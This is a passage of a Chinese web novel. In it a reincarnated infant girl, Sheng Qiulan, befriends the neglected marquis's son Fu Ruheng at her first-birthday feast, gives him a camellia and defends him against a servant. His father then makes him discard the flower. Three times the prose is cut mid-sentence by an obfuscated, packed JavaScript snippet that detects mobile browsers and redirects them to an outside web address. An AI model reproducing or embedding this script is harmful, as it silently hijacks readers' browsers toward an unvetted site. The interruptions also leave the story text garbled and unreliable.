火星从画像底部窜上来,逐渐烧掉了一整张纸,只留下灰烬。 强烈的火光让傅如珩眯起眼睛,等他察觉过来的时候,才发现自己浑身都在发抖。 男人一把用手上的布裹住了他,严严实实地拢起来,尤其是他的脸。 温暖传递过来,傅如珩控制不住地想要闭上眼睛,卸下最后一点防备,陷入沉睡之中。 4. 赠花 再睁眼时,就已经到了侯府中。 傅如珩身上的衣服已经换了一套,虽然样式普通,但胜在保暖得体。 再之后就是先前的回忆。 把他带过来的男人站在书房门口敲了敲门,傅如珩小心地跟在后面,手指捏着衣服一角。 里面传来威严的声音:“进来。” 中年男人走进去,恭敬地说:“侯爷,这就是那个小孩。” 原来他的父亲一直在找他吗? 傅如珩不是没有听过府中下人们的私下闲聊,他们说他是侯爷在外面搞出来的,之后才被接入了府中。 至于他的娘亲,指不定是在哪个酒楼或是青楼里面,侯爷不接回来是因为怕坏了名声。 这是傅如珩被接回来后第一次发火,先前的忍让被击溃,话语传入耳中,化作尖锐的刺,搅得鲜血淋漓。 他冷冷地看了说闲话的仆从一眼,他们被吓了一跳,漆黑的墨瞳很深,如同孕育着风暴,一时间没敢再开口。 被一个两岁多的小孩吓住听起来太过丢脸,说闲话的人很快又放松下来。 虽然在背后说主家的事情是他们的错,但这段时间傅如珩的境况显而易见,侯爷根本不在意这个从外面带回来的庶子。 何况他们说的也不算假。 傅如珩先前经历过颠沛流离,终于拥有了亲人,虽然侯府中过得不算如意,但还是尽量地听从每一个要求。 所以在父亲对他提出去侍郎府庆贺的要求之后,他乖乖跟在了管事身后。 明明是一齐踏入院门,只是年龄尚小,管事又没有刻意慢下脚步等他,在慌忙之中一时不察摔了跤,抬眼就已经没有了人影。 侯府和侍郎府在同一条街中,刚好正对着,傅如珩虽然每天经过大门,但这还是第一次来到府中,不清楚内部的布局。 他不敢贸然回去,怕被侯爷责罚,只能四处乱走,结果就误入到花园之中。 徘徊之际,他见到了被众人簇拥着抱在怀里的盛秋阑。 看到襁褓的那一刻,傅如珩意识到这是父亲口中的主角,不过仅仅是一眼,下一秒他就被碧云发现,送到了门口。 管事来时手中拿着的礼品已经没有了,即便看见消失了一段时间的傅如珩被送出来,表情也没有变化,冲着侍郎府中招待的人一笑,没有多做解释。 他的态度在一定程度上也是侯府的态度,能够在大户人家做工的都心知肚明,见到这一幕,几乎都清楚了这位侯府公子的地位。 侯府人多,光是小妾就纳了不少,多出个这般大的孩子也不算个稀奇事,所以大家也只是以为这是哪个不受宠的小妾新生下来的孩子。 不过就算不受宠,这种身边连个跟着的侍从都没有的也是少见,何况还这么小,跟在后面都需要小跑两步。 好歹也是先皇钦点的侯府,对待亲生子竟是这种态度。 侯府世子飞扬跋扈的名声远扬,看上去像是两个极端。 位于京城脚下的高门官家,朝中风云涌动,这种龌龊根本不算什么,唏嘘过后便不再放在心上。 侍郎府的大门被关上,管事原先露出的笑容一收,望着身后的孩子,无波无澜:“侍郎家生了个千金,你以后与她打好关系。主家收容你可不是让你吃白饭的,对外你的身份是侯府少爷,自然也代表了主家的颜面。” 从那一刻,傅如珩就隐隐感觉到了这次让他来的目的并不单纯。 小孩子记不住事,他对于先前的记忆已经忘却得差不多,但他在别人的施舍下熬过一段时间,对人的言语和行为都变得敏感。 莫名之间,他感觉到这句话背后有其他深意。 ——而且和对面新出生的千金有关。 傅如珩没有询问更多,被收留之后,他最先知道的一件事就是不要多问。 只是在跟上管事脚步之前,他回头望了紧闭的朱红大门一眼。 “叮铃。” 一道小小的身影闯入眼中,一身绯红色襦裙,裙身上用金线绣着各种图案,跑起来如同跳跃的金片,襦裙外面套着一件白色绒毛马甲,手腕上套着的各种手镯在移动中碰撞,发出清脆的响声。 傅如珩见这个装扮,就知道这是今天宴会的主角。 一年前匆匆一眼瞥见的人长得很快,虽然个子不高,但是好像浑身都有无限的精力,裙摆在活动当中被风吹起,丝毫不担心自己会摔倒。 她的身后跟着好几个丫鬟,不住地喊着“慢一点”,但女孩本人看上去一点都没有在意,偷偷拽了一下裙摆,似乎是在嫌弃长裙妨碍了自己。 傅如珩目光沉沉,面无表情地看着这一幕,在心中评价。 一看就是在宠爱当中长大的娇娇小姐。 可能是因为管事先前的话,连带着对这个只谋面一次的千金都没有什么好感,下意识想要远离。 盛秋阑在一边的低矮乔木当中停下来,这是专门从南方移植过来的一片茶树。 正值早茶花开放的季节,栽种下来的品种都较为名贵,她视线搜寻了半天,最后落在中间的淡粉色花朵上。 不同于常见的品种,这个品类的茶花花瓣重重叠叠,看上去像是有几十多片,但丝毫不显得杂乱,最外面一层的花瓣开得极大,中间微微收拢,包裹着花蕊。 虽然在刻意控制下,茶树并没有长得很高,但是盛秋阑此时只是一个一米都不到的小团子,即使向上蹦也差了好些距离。 她熟练地朝身后的迎春张开怀抱:“抱我。” 迎春无奈:“小姐想要的话让奴婢剪下来几支就好,何必每次都亲自动手。” 话虽如此,她从小跟着盛秋阑,知道她平时好说话,但是在某些事情上会很倔,能自己动手就不会让她们来。 迎春最后还是把她抱了起来,盛秋阑对着满树粉红挑拣了半天,终于选出了几株好看的。 花的枝梗很硬,徒手掰不下来,最后还是让丫鬟们帮忙用剪刀剪下来的。 盛秋阑如同监工一样,眼睛一眨不眨地看着剪刀 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她在自己怀中的花束中挑了最好看的一支,伸手递给愣住的小男孩。 “花花。” 清浅的花香萦绕在鼻尖,久久不散,傅如珩分不清是因为手中娇艳欲滴的粉花还是拿着花的人散发出来的。 明明刚才跳上跳下折腾了半天,但给出去的时候,盛秋阑没有表现出半分不舍,见傅如珩站在原地,还往前面伸了伸,示意对方赶紧接下来。 这可是她在这个世界遇到的第一个同龄人,自然要打好关系。 傅如珩迟疑地接下花朵,看见女孩笑得更加开心了,他忍不住把目光从手中的花移到那一颗痣上。 一时间,分不清是哪个更加耀眼。 盛秋阑的个子只到傅如珩的胸口,一伸手就能够摸到她的头,最顶上的小辫子直直冲着天空,柔软的发丝微微分开,从上面看就像一朵小花。 放在两边的手指动了动,终究还是忍下了这个想法。 盛秋阑看上去还想要再说些什么,但是碍于表达匮乏,憋了半天也说不出一句完整的话来。 碧云还记得这位侯府公子,她对着傅如珩行了一个礼,转向盛秋阑:“小姐,时辰马上就要到了,我带您去老爷那边吧。” 盛秋阑在正事上还是分得清主次的,闻言乖乖被碧云抱起来,似是想起了什么,冲着身后的人挥挥手:“拜拜。” 她这句话说惯了,府中的人知道这是“再会”的意思,但是傅如珩却是第一次听到这种表达。 盛秋阑看出他面上的茫然,改口道:“下次见。” 这下傅如珩听懂了,他看着对方被抱在怀里,只露出小半个后脑勺,一根辫子突兀地冒出来。 像是翩跹蝴蝶的触角。 “下次见。” 他不知道对方有没有听到,心中突然萌生出后悔。 就应该摸一下那根辫子的。 5. 出头 前厅中宾客皆已入席,户部侍郎从丫鬟手中接过女儿,把盛秋阑放在铺好的绒垫上。 在她的周围,已经放好了各种东西,离得较近的有铜制官玺、黄金小算盘还有狼毫笔,再远一点就是金元宝、玉璧、小弓箭、绣花针…… 八仙桌的两边是宾客,全都把目光投向最中间。 盛秋阑坐在桌子上面,往四周看了看,各色衣服在眼前移动,几乎要把路全都堵死了,一眼望去根本找不到人。 她原本还想看看刚交的朋友在哪里呢。 虽然傅如珩没有明说,但是收了她的花,不就是不反感。 不反感不就是喜欢,喜欢就是想要和她做朋友。 这种重要时候,盛秋阑还是有点想要和对方一起见证。 只是听说能够在正厅落座的都是朝中要员和重要亲属,傅如珩刚才还在花园里面,应该不大可能出现。 就算出现了,对方也被淹没在人群里面,按照她现在的身高,肯定是看不见的。 盛秋阑老成地叹了口气,重新把思绪放在面前的东西上。 光是从排布来看,就能知道侍郎夫妇私心想要什么。 盛秋阑从那一个金算盘中扫过,落在它旁边的狼毫笔上。 毕竟是坚持了几年的老本行,她还是对写东西更感兴趣。 说起来,也不知道改完之后的文会得到什么评价。 回想到那一条评论,盛秋阑胸口又有点发闷,但是想到自己现在金库当中满满当当的珠宝和金银,又很快平静下去。 她现在积累下来的财产,已经可以养活自己一辈子了。 什么HR,统统都到一边儿去吧,她现在可是富婆哦。 果然人要是有钱了,看什么都可以心平气和。 只是目前这一点还不够,盛秋阑之前清点过家当,若是要在先太子上位之前带着府中人离开京城,还需要很大一笔钱。 她穿越到这里,却根本不懂什么现代技术,也没来得及看那些精细的机械图纸,唯有自己的老本行还能施展一二。 盛秋阑朝着毛笔的方向走了两步,随即感觉到脚下有些不稳。 怕在众目睽睽之下摔倒丢人,盛秋阑刚想要趴下来,就听到一旁有人感叹。 “侍郎千金居然这么快就学会走路了,真是少见的聪明。” 盛秋阑:“……” 她这该死的自尊心。 为了撑起这份夸赞,盛秋阑不得不改变计划,原本微微弯曲的膝盖挺直,再次往前面走了两步。 她往周围扫了一圈,想看看刚刚是谁发出的声音。 居然采用如此歹毒的战术。 就在这个时候,一个浅蓝的身影挤到庭院回廊的前面,对上盛秋阑的目光。 ——正是她在之前还念叨的傅如珩。 对方原本整理得一丝不苟的领口处多了一抹娇嫩的粉色,花瓣在风中被吹起来,又被小心地护住。 盛秋阑眼睛一亮,傅如珩身形有些僵住,不自在地把花往领口处藏了藏,假装什么都没有发生。 只是这一切全都被盛秋阑看在眼底,她没有拆穿,默默打算着之后再用这件事逗逗人。 上好的狼毫笔被抓在手上,笔杆是用黄花梨木制成,手感温润,散发着淡淡的香味。 不管有多么宠爱,作为长辈总希望小辈能够出人头地。 先前见盛秋阑犹犹豫豫,等在最前方的几位不免都有些着急,见她最后拿了毛笔,露出满意的笑容。 宾客们在官场中浮沉多年,自然看得懂主家的脸色,见势开始鼓掌,一声高过一声,伴随着接连不断的夸赞声,好像盛秋阑干了什么了不得的事情。 盛秋阑把手中的笔牢牢握紧,几乎快要遁到地下。 这些话居然是可以面不改色说出来的吗?她再没有自知之明也要被夸得承受不住了。 桌子四周全都被人群堵住了,盛秋阑抬眼往傅如珩先前站着的地方望去,却被挡得严严实实,半分都瞧不见。 她有些郁闷地叹了一口气,毛笔握在手心,下意识转动了一下手指。 没转动。 一岁的手还是太小了,光是握着笔身就有点吃力,暂时还完成不了这种高难度动作,反而差点把手指给绕起来,盛秋阑重新调整了一下姿势,老老实实地握住。 更郁闷了。 接下来是宴会环节,没有她什么事。 盛秋阑从桌子上爬下来,被抱到了后院。 她最近可以吃一些软食,譬如奶糕或者粥,若是想抱着桃子慢慢啃也行,但是长辈们总担心会把牙齿啃坏,严格控制着数量,更别说糖之类的零嘴了。 也就只有二哥下学来看她的时候会带点奶糕,不过只有指甲盖那么大,尝个味儿就没有了。 盛秋阑早膳刚吃了一大块枣糕,现在并不感觉饿,匆匆咽下半碗燕麦粥之后就想下桌到院子里面去。 难得有机会可以见面,她想要去找傅如珩。 内厅靠近庭院,一路能看到不少女眷手挽着手散步。 盛秋阑循着记忆,来到偏厅,这些都是年岁不大的小孩子,为了避免打扰仪式进行,一律聚集在这里由各自的仆从看管。 还没有踏入门口,就听到里面的嘈杂声音,小孩子们的叫喊伴随着时不时的尖叫刺激着耳膜,一旁的仆从已然满头大汗,依旧止不住吵闹。 厅内铺了一层柔软的地毯,上面放着事先准备好的玩具。 考虑到人数较多,府中管事专门选择了一间大厢房来安置,但来的都是朝中有头有脸的官员,一个公子身边就有两三个仆从,看上去仍然稍显拥挤。 盛秋阑有些嫌弃地绕过了一个吃得满脸都是米糊的小孩,往里面张望。 视线在房间里面搜寻了一圈,她很快就找到了目标。 在一群被簇拥着围起来的小孩子里面,角落那一个孤零零的身影显得尤为突出。 傅如珩的身量不算高,与其他一看就被养得白白胖胖的小孩子比起来可以说是瘦小,但就是可以一眼就捕捉到。 明明年岁还很小,但是举止已经成熟,不需要别人在旁边哄着,自己端着碗喝完米粥,还从怀中掏出一个丝绢擦了擦嘴角,远远看过去画面赏心悦目。 他的身边跟着一个穿着普通的人,看装扮是侯府家的仆从,但无论是从表情还是动作当中,都不难看出对方的不耐烦和散漫,与隔壁前呼后拥,围着自己公子千金的人形成强烈对比。 为了确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904865|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保小孩子们的安全性,所有尖锐和细小的东西都被收起来了,像瓷碗这类易碎的东西更是被小心地收在一边。 看见傅如珩面前的碗空了,仆从动也不动,任由碗放在地上,像是根本不在意瓷片会划伤娇嫩的皮肤。 盛秋阑看得心中突突冒火,她个子虽然小,但硬是做出了一副气势汹汹的样子,往那个地方走去。 紧跟在后面的迎春和碧云赶紧追着,忍不住心生疑惑。 她们何时见过小姐这个样子? 盛秋阑虽然平时被娇宠着,但是脾气却一点都没有被惯坏,不管见到谁都是笑着的,遇见府中的丫鬟和侍卫都会亲近,也从来不会大哭大闹,更别说生气成这样了。 这幅样子不像是去找朋友,更像是去打人。 虽然侍郎可以给盛秋阑底气,但是今天来的大多是同僚,不免有官位更高的,若是惹下了麻烦也不是能够轻易解决的。 这样一想,丫鬟们脸上不免露出担忧的神色,一刻也不敢放松。 盛秋阑身上的镯子还没有脱掉,大步踏起来,叮铃哐啷的声音更响,如同清脆的铃声,吸引了不少小孩子的眼光。 他们虽然年纪尚幼,但也清楚来这里是要庆祝生辰,刚才在抓周的时候被抱出去参加仪式,自然也看到了今天的主角。 在一片素雅的颜色当中,这一抹绯红格外艳丽,刚才还在哭闹的人也默默低下声音,眼角还带着一滴泪水,视线愣愣地随着女孩移动。 在众目睽睽之下,盛秋阑径直走到傅如珩面前。 然后转身,踢了放在地上的碗一脚。 精致的细瓷碗在原地转了两圈。 “啪嗒”碎了。 破碎的瓷片在地上分成好几大块,边缘并不规则,尖锐的角仿佛能轻易将手指刺破。 明明声音并不算大,但是因为刚才那一出,室内很安静,所以这个动静能够听得一清二楚。 迎春脸上的着急更甚,怕盛秋阑一不小心就会踩到碎片上,想要上前收拾,却被阻止了。 盛秋阑的气还没发完,自然不能就这样结束。 她踢的时候找好了角度,碎片不会伤到人,只是视觉效果比较强烈而已。 红色的身影转过来,冲着在傅如珩旁边愣住的仆从抬了抬下巴,语气中满是骄矜:“你,扫。” 那人显然没想到盛秋阑会把矛头对准自己,怔住了。 他清楚自己所伺候的小公子并不受宠,就算有所疏忽也没有人会在意,但是面前这个千金可不一样。 侯府想要和户部侍郎打好关系,这个要求自然不是他一个侍从可以违背的,更何况真论起来,原先就有他的错处。 事情真闹大了,侯爷不可能不管。 府内如何对待归府内,傅如珩在外人看来还是侯府公子,若是其他人知道被他一个下人这样对待,一定会存些心思,相当于打了侯府的脸。 到时候自己能不能继续在府中做事也说不准。 盛秋阑眉心一拧:“没听见吗?” 明明刚才还是话都说不完整的样子,这句却异常清晰,配合上表情,好像下一秒就会踹上来。 原本还在看热闹的其他孩子身子一抖。 好,好凶。 6. 再见 经过这一出,侧厅中最后剩下的一点声音都没有了,生怕下一个火就会烧到自己身上。 盛秋阑双臂抱胸,她刚刚站累了,现在坐在旁边的凳子上,晃着两条腿,监督着那个仆从清理碎片。 “那边,对。” 傅如珩已经被她从地上拉起来,两个人并排坐着,他微微偏头,看着身边的女孩。 对方像是特地来为他壮大气势的,不但自己要坐在高脚凳上,还特意让人从旁边的厢房中搬了一把过来,让他也坐上去。 借着这个高度,他们几乎可以俯视跪坐着清理的仆从。 傅如珩其实并不在意,这个人是从他入府一来就被安排过来的,原先还恭恭敬敬,但是时间一长,看到主家自从把他带过来之后没有过问,态度也变得散漫起来。 府中给下人的银钱是固定的,但要是运气好,能够另外得到赏钱,所以仆从都会选择到世子那儿去做事。 这个下人本来打着小算盘,这是侯爷在外面欠下的风流债,想必也是看重的,不然不会光明正大的带到府中。 一夜之欢的事情多了,哪能够每个都带回来? 他主动请缨想要照顾,没想到却是这种情况。 世子自从傅如珩入府之后就时不时过来打压一下,找着各种借口挑剔。 原本就没有多少东西的厢房,被找了几次茬之后又搬出去不少物件,略为狭小的房间里面空荡,几乎只剩下了一张小桌子和木床。 傅如珩自己都没有银钱,更何况给一个侍从。 这下是一丁点油水都捞不到了。 因为这个,他到后来就敷衍起来,连表面样子都不愿意做,总归这位侯府公子平日里不怎么开口,也不会去状告。 没想到却在这里碰上个硬茬。 这位侍郎府的千金好像认准了他,别的地方一眼都不看,从进门开始就往这个方向走过来,然后闹了这一出。 这是侍郎府捧在手心上的千金,仆从再怎么不爽也不敢违抗,依言拿着抹布在地上擦拭着。 盛秋阑看着所有的碎片都被放在托盘上,零落地散着,略有些可惜地多看了两眼。 这可都是银钱买来的啊,管事昨日新置办,才用过一次就碎了。 擦拭完地面,仆从没敢立刻起来,维持着跪坐的姿势,惴惴不安地等待着剩下的发落。 没想到大小姐没有再提出其他的要求,就这样放过了他:“行了。” 盛秋阑难得装了一次恶人,狠狠过了一把耍威风的瘾,就此收手。 她休息够了,拽着傅如珩的手一把跳下了高脚凳。 凳子的高度比她的身高还要高出些许,刚刚在坐在凳子上,脚都碰不上地面,若是角度不对很容易崴脚。 身后护着的人一声低呼:“小姐!” 盛秋阑稳稳落地,冲着身后的丫鬟吐了一下舌头,随即拉着傅如珩出了门。 那群小孩还呆呆地站在原地,见两人走过来,他们不自觉留出了一条道路,看着女孩脚下步子飞快,红色的裙摆翻飞,如同火红的花。 快要踏出门槛的时候,盛秋阑似是想起了什么:“你们,寄几,玩。” 她就不陪着了。 小豆丁们齐齐点头,生怕应晚了。 有些年纪稍小还听不懂话的人,看了看周围人的动作,也跟着傻傻点头。 放眼望去非常和谐。 盛秋阑满意地转身,带着傅如珩来到了花园后方。 这一处相比起其他地方没有那么多人,她毫无形象地坐在草坪上面,拍了拍身边的空位:“坐!” 这时候的草已经变得枯黄,虽然经过修剪,但是还是会有不少掉落的碎屑,就在她抬手的时候,傅如珩就看见了不少草碎粘在手心上面。 他迟疑片刻,还是坐下来了。 下面的泥土微微发硬,手中的触感陌生,一抬起手看到满手的枯黄碎屑。 盛秋阑看到他的动作,传授自己的经验:“起来,拍,就好了。” 一小句话被说得七零八碎,比比划划地让对方理解完,她已经累到了,幽幽地叹了一口气。 这身体还是太小了,也不知道什么时候能长大。 喘了两口气,盛秋阑继续比划:“下次他再这样,你来找我。” 她这一次只是想要威慑一下对方,所以才这么轻易就放过了,经此一遭,那仆从应该也不敢太放肆了。 傅如珩没有拒绝也没有答应,他想要去摸自己的领口,但是看到旁边瘫坐着的人,又放下了手。 一声轻微的“咕咕”声从身边传来,盛秋阑捂了捂肚子,杏眼亮晶晶地转向他。 “你有没有吃的?” 傅如珩摸了摸口袋,在左侧找到了一个用油纸包裹着的奶糕。 这是昨日侯府的厨娘塞给他的,这种零嘴的分量都有限额,大多被送到了世子房中,剩下的才轮到其他孩子,即便这样,多多少少也能分到几颗。 唯有他的寝房,被默契地忽略了。 厨娘见他可怜,在他去膳房的时候塞了一小块。 傅如珩没舍得一下子吃完,找了一张油纸包裹住,大抵是没有来得及拿出来,就一直放在口袋里面。 奶糕外面用油纸叠得整整齐齐,看到里面东西的时候,盛秋阑眼睛亮了一瞬。 “给我吗?” 傅如珩把东西放在她的手心上,默认了这个问句。 奶糕不大,一口就能塞下去,外面裹着一层奶粉,在嘴里面含一会儿变得软乎乎的,中间还夹杂着莓果干。 盛秋阑声音有些含糊:“等我长大一点,来找你玩好不好?” 娘亲担心她的安全,只在过年的时候带她出去逛了一圈,其他时候就只能在府中。 若是她长大一些,就能够自己出去了。 口中满是香甜的奶味,莓果的酸味很好地中和掉那一股腻味。 盛秋阑有些后悔,早知道就不吃那么快了。 傅如珩察觉到了她眼中的失落,盯着她头顶上的小揪揪看了一会儿,神使鬼差开口:“下次我再给你带。” “真的吗?太好了,娘亲总是不让我多吃!” 盛秋阑觉得自己新交的朋友真是够义气。 闻言傅如珩又有些后悔:“那如果被发现了,你娘亲不会说你吗?” 盛秋阑狡黠地眨眨眼睛:“那你替我保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904866|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 密,这是我们之间的秘密。” 明明只是一件小事情,一旦被加上专属的限定称呼,就开始变得不平常起来。 府中千娇百宠长大的千金,竟然会因为一小块奶糕高兴成这样。 油纸上沾着一层奶糕外面的粉,傅如珩用小拇指沾了一点,舔了一口。 粉末很快融化,比他想象中还要甜。 盛秋阑还在旁边说京城有很多地方她没有去过,计划着之后一个个逛过去,傅如珩听着她叭叭叭,产生了一种自己在做梦的错觉。 他身边很少有同龄人这样毫无顾忌地和他坐在一起。 侯府中以世子为中心,其他侧室子也懂得看眼色,全都围在对方身边。 世子看他不顺眼,他们也跟着落井下石,只为了讨好对方,能够在府中过得好些。 不然就会和傅如珩同一个下场。 很多时候世子没有来找麻烦,他们也会自发性地过来,或是抢走什么东西,或是砸碎他的午饭,以此来邀功。 小孩子的恶意纯粹又直接,但总有人会觉得这无伤大雅。 傅如珩突然有些厌倦了,这些事情对他来说就是天方夜谭,但看着身边的人兴致盎然,又舍不得起身,就这样默默地听着。 盛秋阑已经把计划定到了十年之后,游玩的地点也超出了京城,到了南方。 “你有没有去过江南,那边可美了。” 她分明都没有离开过这里,却好像已经亲眼看到了那边的景色,连建筑景色都说得有模有样。 白墙黑瓦、亭台楼阁、湖中画舫…… 盛秋阑说嗨了,差点忘记这辈子的自己应该还不知道这些,赶紧找补。 “我在书上看到的。” 似是为了掩饰,她看向傅如珩:“我想亲眼去看看,以后你陪我去吧。” 傅如珩不知道她这个以后是什么时候,盛秋阑现在才满一岁,出于新鲜随口说出的话,可能过了几年就会忘记这个午后约定。 但他还是点下了头,不管怎样,他都会记得。 哪怕只有他记得。 宴会已经接近尾声,刚刚还在偏厅中的小孩被自己的仆从带出来,站到父亲身边。 傅如珩望了望逐渐吵闹的外面,最终还是起身:“我要走了。” 他有些生疏地拍打着自己的衣角,枯草簌簌掉落。 盛秋阑自然也听到了外面的动静,抬手刚想道别,眼尖地看到某处地方。 “等等。” 她用两根手指捏住傅如珩后面的衣服,从上面拿下一根草。 后腰处感觉到被人戳了一下,傅如珩僵硬地站在原地。 “好啦,再见。” 盛秋阑这次没有忘记措辞,规规矩矩地道别。 傅如珩前几次都没有来得及回应,这次终于有机会开口。 “拜拜。” 他还对这个词语有些陌生,说出口的时候带着迟疑,怕自己说错。 盛秋阑微微睁大了眼睛,随即露出笑容,梨涡很明显,语气雀跃:“拜拜拜拜,不过也要再见哦。” 傅如珩把两个字默默重复了一遍。 再见,再次相见。 7. 落花 等到那个身影消失在花园出口,盛秋阑才想起来自己忘了询问最开始想要问的问题。 “这是什么?” 侯府当家人,傅如珩的父亲傅鸿元皱着眉头,望向从花园中走出来的人。 他的视线落在胸口处露出的一抹粉上,娇嫩的花瓣从衣襟处探出来,颤颤巍巍地迎着风。 傅如珩顺着他的目光,低头看见暴露的花朵。 他原先是放在衣领口袋当中,应该是刚才不小心掉出来的。 “衣襟别花,像什么样子?”傅鸿元面容威严,在幼子面前摆出了十成十的样子。 不过他的目的并不在于此,根本没有打算听傅如珩回答,很快就提起了另一个话题:“听说你和盛家千金玩得挺好?” 后院当中的事情很快就传到了他的耳朵,傅鸿元打量着傅如珩,似是在评估某件商品,难得给出了评价。 “挺好,以后多和她接触一下,对侯府有好处。” 傅如珩经过一年,已经渐渐开始意识到某些话中背后的意思,当初的那一种不适感再度袭来。 傅鸿元所传达的意思和管事当初如出一辙,像是早有预谋。 “盛家很重视他们的千金,若是你能和她交好,未来或许能够把侍郎拉到太子阵营当中。” 话说到这里,背后的目的昭然若揭。 脑海中明媚的笑容仿佛都带上了阴影,傅如珩没有立刻回应。 傅鸿元敏锐地察觉到,声音低沉:“听到了吗?” 傅如珩垂下眼睛:“孩儿知晓。” 两人走到侍郎府门口,盛怀德正与宾客们一一道别。 “这位就是侯府公子吧,早先听闻公子名称,只送去薄礼,今日才得以一见。” 傅鸿元拍了拍傅如珩的肩膀,如同平常父子般,完全看不出两人刚才是怎样一番对话。 “侍郎说笑了,小儿和令千金年岁相仿,今日还听闻两人一同玩,日后也能够互相照应。” 听到这话,盛怀德重新认真看向傅如珩。 后院的插曲他有所耳闻,但也听了个囫囵,大抵是盛秋阑在很多人面前摔了个碗,为同伴出头。 他没想到就是傅如珩。 自己的女儿自己了解,从盛秋阑出生开始就表现出了护短的特征,但平时也只是小打小闹,毕竟谁都不会让一个才一岁的小孩子出头。 而且盛秋阑平日中没有多少阶级观念,对别人颐指气使,府中上上下下都喜欢,像今天这样倒还是第一次。 盛怀德能做到户部侍郎,靠的不仅仅是能力,看人也很准。 在他的注视下,傅如珩安安静静地站在原地,如同经历着一场严格的审阅。 内心的不安感越发明显,怀中的茶花梗抵在胸口,异物感明显。 “如此甚好,秋阑每天都在说无趣,公子若是无事可以来作伴。” 傅如珩肩颈微微放松下来,与此同时又产生一种扭曲的阴暗心理。 也是,谁会对一个四岁的孩童产生怀疑呢? 两人又寒暄了几句,傅鸿元带着傅如珩踏出门槛。 傅如珩略落后一步,穿过中间的青石板路,看到了门户顶上的牌匾,用金漆题着“侯府”二字,在阳光下闪闪发光。 他移开目光,守门的仆从早已经打开府门,恭迎着侯爷回来。 傅如珩所住的侧室在宅院角落,与正寝不是同一个方向。 他当时被带来得突然,侯府中年幼的孩子一般随母居住,唯有他的身份尴尬,来不及收拾出一个偏院,就在府中的一个空角落里被安顿下来。 虽然之后有了合适的房间,他也一直没有搬走。 按照平常,傅鸿元说完事情就不会再过多停留,傅如珩在行礼之后等着他离开,没想到却被叫住了。 可能是因为自己这个收养来的孩子很少忤逆,傅鸿元对那一幕耿耿于怀。 他的视线投向傅如珩的衣领,那一抹突兀的颜色已经不见了,被重新藏进衣服当中。 “把花扔了。” 垂落在身边的手指蜷缩了一下,如锋芒在背,灼灼视线停留在胸口,连带着里面的花好像都开始自燃起来。 傅如珩面上没有表露出来,如同之前所表现出的温顺,从暗袋里面拿出那一支茶花。 花瓣上面好像还带着体温,被冷风一吹就消散了。 虽然被小心翼翼地护着,但是花瓣还是不可避免地有些许败落,皱巴巴地向下晃着。 傅如珩垂眸看着已经不再像之前那样娇艳的花,捏着花枝的手指用力,指尖开始泛白,最后无力垂落。 花枝被扔在一旁的树丛当中,原地滚了两圈,最外层的花瓣上面沾上了泥土,变得灰扑扑的,花瓣零落地掉在地上,再也不复先前的摸样。 果然还是不属于他。 傅鸿元终于满意了,往书房走去,没有再看傅如珩一眼。 周围的人早已经习惯这个画面,眼观鼻鼻观心,站在自己的位置上,像是完全看不见站在庭院中的瘦弱男孩。 一阵风吹来,落叶卷着花瓣到了树丛深处,被密密麻麻的树叶遮挡住。 傅如珩最后看了一眼,起步时才感觉自己的双腿都有些发麻,冷意从袖口中钻进去,经过骨髓。 他来到自己的空落庭院中,面前的空地裸露,象征性地围了一圈木头栅栏,当做前院。 原本这边种了一棵小树,看大小不过两年,枝干都还没有开始生长,看样子风一吹就会折掉。 侯府世子傅皓轩在第一次过来时就注意到了这棵树,当场就命令下人拔掉了。 “我看它总归要死的,倒不如现在就不要了,弟弟想必也不会介意吧。” 他口中说的是这棵树,可眼睛却没有从傅如珩身上移开,言语中带着满满的恶意。 才在泥土中扎根不久的小树被连根拔起,土地上留下一个不大不小的深坑,看上去丑陋又狰狞,却一直没有被填平。 傅如珩曾经在那个土坑旁边坐了一下午,他没有工具,就用脚把周围的土移到坑中央,却怎么也填不平,反倒在旁边都留下一道道沟沟壑壑。 他忙完一看,见此情景,愣了好久,最后回到屋子当中清洗沾满泥土的鞋子,再也没有尝试过。 傅如珩逐渐接受了这一个坑,默认它留在自己的院子当中。 他正想要关上栅栏门,突然看见一只蝴蝶停留在木头上面。 这处地方相比起宅院的其他角落实在破败,蝴蝶这种更是只愿意徘徊在花团锦簇的别院中,他在这里呆了这么久,还没有见到有一只飞过来。 偏偏是今天。 蝴蝶是白色的,和平常所见的似乎没有什么两样,唯有翅膀边缘泛着一点点红色,格外醒目。 傅如珩对着那一点红色,屏住呼吸,关门的动作不上不下地停顿,生怕惊扰。 蝴蝶似是休憩够了,拍打翅膀离开栅栏。 傅如珩有些遗憾,但是也没有试图挽留,目光追随着,想要看它远去。 红色逐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904867|192386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 